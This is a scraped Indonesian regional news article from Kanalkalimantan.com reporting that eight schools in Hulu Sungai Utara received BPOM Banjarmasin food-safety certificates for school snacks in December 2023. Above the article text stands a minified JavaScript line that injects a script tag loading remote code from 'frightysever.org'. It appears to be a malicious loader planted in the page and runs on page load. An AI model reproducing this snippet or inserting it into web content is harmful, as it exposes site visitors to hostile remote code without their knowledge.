(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Delapan sekolah di Kabupaten Hulu Sungai Utara (HSU) memperoleh penghargaan intervensi keamanan Pangan Jajanan Anak Sekolah (PJAS) dari Badan Pengawas Obat dan Makanan (BPOM) Banjarmasin.
Penyerahan sertifikat penghargaan dari BPOM ini diserahkan secara simbolis melalui Kepala Dinas Pendidikan dan Kebudayaan (Disdikbud) HSU, Jumadi didampingi Gusti Maulita Indriyana, Pengawas Farmasi dan Makanan Ahli Madya BPOM Banjarmasin kepada sejumlah kepala sekolah penerima, di Gedung Agung, Selasa (12/12/2023).
Delapan sekolah tersebut meliputi MTsN 2 Amuntai, MIN 9 HSU, SDN Baruh Tabing, SDN Sungai Malang 4, SDN Paliwara, SDN Murung Sari 1, SDN Kota Raja, dan SDN Murung Sari 2.
Kepala Disdikbud HSU, Jumadi menyampaikan ucapan terima kasih dan apresiasi atas keberhasilan delapan sekolah di Kabupaten HSU dalam meraih sertifikat sekolah dengan PJAS.
Baca juga: Diberi Waktu 14 Hari, Bangunan Liar di Trikora Liang Anggang Harus Dibongkar
Menurut Jumadi, pemberian sertifikat PJAS sangat penting di lingkungan sekolah untuk memastikan mutu keamanan makanan dan jajanan bagi para peserta didik, dikarenakan hampir 50 persen asupan makanan bagi para pelajar berada di lingkungan sekolah.
“Jadi peran BPOM menjaga mutu makanan dan jajanan anak sekolah,” kata Jumadi.
Selain itu, tambahnya saat ini di beberapa daerah ada beredar jajanan ataupun makanan sekolah yang mengandung zat berbahaya apabila dikonsumsi anak-anak siswa.
Oleh karena itu, guna menghindari hal-hal yang tidak diinginkan, BPOM bekerjasama dengan pemerintah daerah melakukan proses intervensi, mulai dari advokasi lintas sektor, pemetaan kantin sekolah, sosialisasi dan bimbingan teknis keamanan pangan, monitoring pemberdayaan kader keamanan pangan sekolah hingga pemberian sertifikat.
Baca juga: Strategi Kemenperin Akselerasi Sektor Industri Terapkan Praktik Berkelanjutan
“Dengan adanya pemberian sertifikat PJAS dari BPOM ini, pemerintah daerah sangat mendukung dalam berupaya menjaga mutu jajanan anak sekolah,” imbuhnya.
Dirinya juga berharap, diterimanya sertifikat PJAS aman ini, dapat memotivasi sekolah lainnya untuk dapan lebih berkomitmen dalam melaksanakan program keamanan pangan. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.